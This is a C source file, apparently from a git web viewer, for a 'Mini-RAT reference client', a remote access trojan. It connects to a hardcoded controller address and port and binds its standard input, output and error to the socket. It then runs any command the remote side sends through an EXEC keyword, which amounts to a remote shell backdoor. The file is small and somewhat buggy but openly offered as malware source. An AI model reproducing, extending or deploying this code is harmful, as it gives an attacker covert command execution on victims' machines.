summaryrefslogtreecommitdiff
path: root/client/src/mini-rat.c
blob: cd521d48f7e40530d55908dab3f334be45c64c55 (plain)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
/*
 * Mini-RAT reference client
 * Copyright (C) 2023 Danny Holman <dholman@gymli.org>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU General Public License as published by
 * the Free Software Foundation, either version 2 of the License, or
 * (at your option) any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 */

#include <util.h>
#include <stdio.h>
#include <stdlib.h>
#include <arpa/inet.h>
#include <sys/socket.h>
#include <fcntl.h>
#include <poll.h>
#include <unistd.h>
#include <string.h>

int open_connection(const char *addr, int port) {
        int sock = socket(AF_INET, SOCK_STREAM, 0);
        struct sockaddr_in server;
        server.sin_family = AF_INET;
        server.sin_port = htons(port);
        inet_pton(AF_INET, addr, &server.sin_addr);

        if (connect(sock, (struct sockaddr*)&server, sizeof(server)) == -1)
                return -1;
        return sock;
}

void hostinfo(int socket) {
        send(socket, "NOT IMPLEMENTED\r\n", 17, 0);
}

void run_exec(int socket, const char **argv) {
        pid_t pid = fork();
        if (pid == 0) {
                execvp(argv[0], argv);
                exit(0);
        } else if (pid > 0) {
                wait(NULL);
        } else {
                send(socket, "ERROR EXECUTING COMMAND", 23, 0);
        }
}

int handle_request(int socket, char *req) {
        char **tokens = str_split(req, "\r\n");

        if (strcmp(tokens[0], "HOSTINFO") == 0) {
                hostinfo(socket);
        } else if (strncmp(tokens[0], "EXEC", 4) == 0) {
                char **argv = str_split(req, " ");
                run_exec(socket, &argv[1]);
        } else if (strncmp(tokens[0], "EXIT", 4) == 0) {
                return 1;
        }
        return 0;
}

int main(int argc, char* argv[]) {
        int socket = 0;
        int retries = 0;
        while (retries < 3 && socket == 0) {
                socket = open_connection("127.0.0.1", 1122);
                if (socket == 0)
                        perror(argv[0]);
                retries++;
        }

        if (socket == 0)
                return -1;
     
        dup2(socket, STDOUT_FILENO);
        dup2(socket, STDERR_FILENO);
        dup2(socket, STDIN_FILENO);
        char buffer[4096];
        while (1) {
                if (recv(socket, buffer, 4096, 0) <= 0)
                        break;
                if (handle_request(socket, buffer) == 1)
                        break;
                memset(buffer, 0, 4096);
        }
        return 0;
}